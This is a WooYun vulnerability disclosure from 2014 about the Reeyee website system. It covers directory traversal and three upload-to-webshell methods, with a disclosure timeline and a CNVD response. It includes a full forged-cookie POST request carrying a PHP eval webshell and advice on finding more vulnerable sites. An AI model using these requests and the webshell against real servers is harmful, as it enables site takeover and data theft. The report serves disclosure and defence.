当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2014-59045

漏洞标题: 锐意先行网站建设系统遍历文件漏洞+三招Getshell+波及奇瑞、人保等大量高端客户

相关厂商: 锐意先行

漏洞作者: 夕风号

提交时间: 2014-05-03 10:21

公开时间: 2014-07-30 10:22

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件上传 iis解析漏洞 任意文件上传

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-03: 细节已通知厂商并且等待厂商处理中
2014-05-06: 厂商已经确认,细节仅向厂商公开
2014-05-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-06-30: 细节向核心白帽子及相关领域专家公开
2014-07-10: 细节向普通白帽子公开
2014-07-20: 细节向实习白帽子公开
2014-07-30: 细节向公众公开

简要描述:

Fyi:
1.http://www.reeyee.cn/case/
2.http://www.reeyee.net/brand.html

详细说明:

1.案例

[官方]

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

[客户]

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

其它客户可搜索“Powered by reeyee”或于http://**.**.**.**/case/中查看。



2.文件遍历

访问/admin/inc/dialogbox.php?pDir=&curr_dir=&type=0&filetypes=&form=frmList&formname=brief_img即可,将pDir改为形如../../格式可实现目录回溯,比如,

http://**.**.**.**/admin/inc/dialogbox.php?pDir=&curr_dir=../../../&type=0&filetypes=&form=frmList&formname=brief_img

有时可泄露敏感文件。



3.Getshell

0x01

当服务器为IIS 6.0时,访问/admin/inc/wnews.php?type=1&path=video&form=frmList&formname=img,上传*.php;.jpg格式webshell即可,比如,

**.**.**.**/admin/inc/wnews.php?type=1&path=video&form=frmList&formname=img

然后后于页面源代码中查看webshell路径。



0x02

当服务器为IIS 6.0或IIS 7.5时,访问/admin/inc/wnews.php?type=1&path=video.php&form=frmList&formname=img,有时需绕过客户端Javascript验证(略),上传*.jpg格式webshell即可,比如,

http://**.**.**.**/admin/inc/wnews.php?type=1&path=video.php&form=frmList&formname=img

然后后于页面源代码中查看webshell路径。

a.png





0x03

终极解法

以http://**.**.**.**为例,向目标/admin/inc/wnewssave.php发起如下HTTP请求,注意Cookie值及filename值:

POST http://**.**.**.**/admin/inc/wnewssave.php?formname=src&form=frmList

code 区域
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/admin/inc/wnews.php?type=1&path=user_download&form=frmList&formname=src
Cookie: user_download_src_UPLOAD=php%2Cxls%2Cppt%2Cpdf%2Cdoc%2Cdocx%7C20000000%7C0%7C1%7C1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------29809125845679
Content-Length: 636

-----------------------------29809125845679\r\n
Content-Disposition: form-data; name="filepath"\r\n
\r\n
user_download\r\n
-----------------------------29809125845679\r\n
Content-Disposition: form-data; name="type"\r\n
\r\n
1\r\n
-----------------------------29809125845679\r\n
Content-Disposition: form-data; name="src"; filename="test.php"\r\n
Content-Type: application/msword\r\n
\r\n
<?php @eval($_POST['savep']);?>\r\n
-----------------------------29809125845679\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
· æ\x8f\x90交 ·\r\n
-----------------------------29809125845679\r\n
Content-Disposition: form-data; name="proimg"\r\n
\r\n
\r\n
-----------------------------29809125845679--\r\n



b.png

漏洞证明:

来,看代码!

/admin/inc/wnewssave.php

code 区域
$para	= array("TYPE"		=> "gif,jpg,jpeg",
"SIZE" => $upload_max_filesize,
"EXISTS" => 0,
"RENAME" => 0,
"ERROR" =>1,
"RESIZE" =>"");
if (isset($_COOKIE["{$_POST['filepath']}_{$_GET['formname']}_UPLOAD"]))
{
$coo = $_COOKIE["{$_POST['filepath']}_{$_GET['formname']}_UPLOAD"];
$tmp = explode("|",$coo);
$para['TYPE'] = $tmp[0];
$para['SIZE'] = $tmp[1];
$para['EXISTS'] = $tmp[2];
$para['RENAME'] = $tmp[3];
$para['ERROR'] = $tmp[4];
if(isset($tmp[5])) $para['RESIZE'] = $tmp[4];
}
elseif (isset($_COOKIE["{$_POST['filepath']}_UPLOAD"]))
{
$coo = $_COOKIE["{$_POST['filepath']}_UPLOAD"];
$tmp = explode("|",$coo);
$para['TYPE'] = $tmp[0];
$para['SIZE'] = $tmp[1];
$para['EXISTS'] = $tmp[2];
$para['RENAME'] = $tmp[3];
$para['ERROR'] = $tmp[4];
if(isset($tmp[5])) $para['RESIZE'] = $tmp[4];
}
$u->UPLOAD_FILE_TYPE = $para['TYPE'];
$u->UPLOAD_FILE_MAX_SIZE = $para['SIZE']>$upload_max_filesize?$upload_max_filesize:$para['SIZE'];
$u->UPLOAD_FILE_CHECK_FILE_EXISTS = $para['EXISTS'];
$u->UPLOAD_FILE_AUTO_RENAME = $para['RENAME'];
$u->UPLOAD_FILE_ERROR_TYPE = $para['ERROR'];

修复方案:

You know it.

版权声明:转载请注明来源 夕风号@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-05-06 08:45

厂商回复:

CNVD确认并在实例上复现所述多个漏洞情况,对于涉及的重要信息系统部门案例,已经转由CNCERT下发给江苏分中心协调处置。CNVD并将通过公开联系渠道联系软件生产厂商处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-08-19 10:40 | 革命往事 ( 路人 | Rank:21 漏洞数:4 | 革命已成往事)
    0

    你这么屌你家人知道么

登录后才能发表评论,请先 登录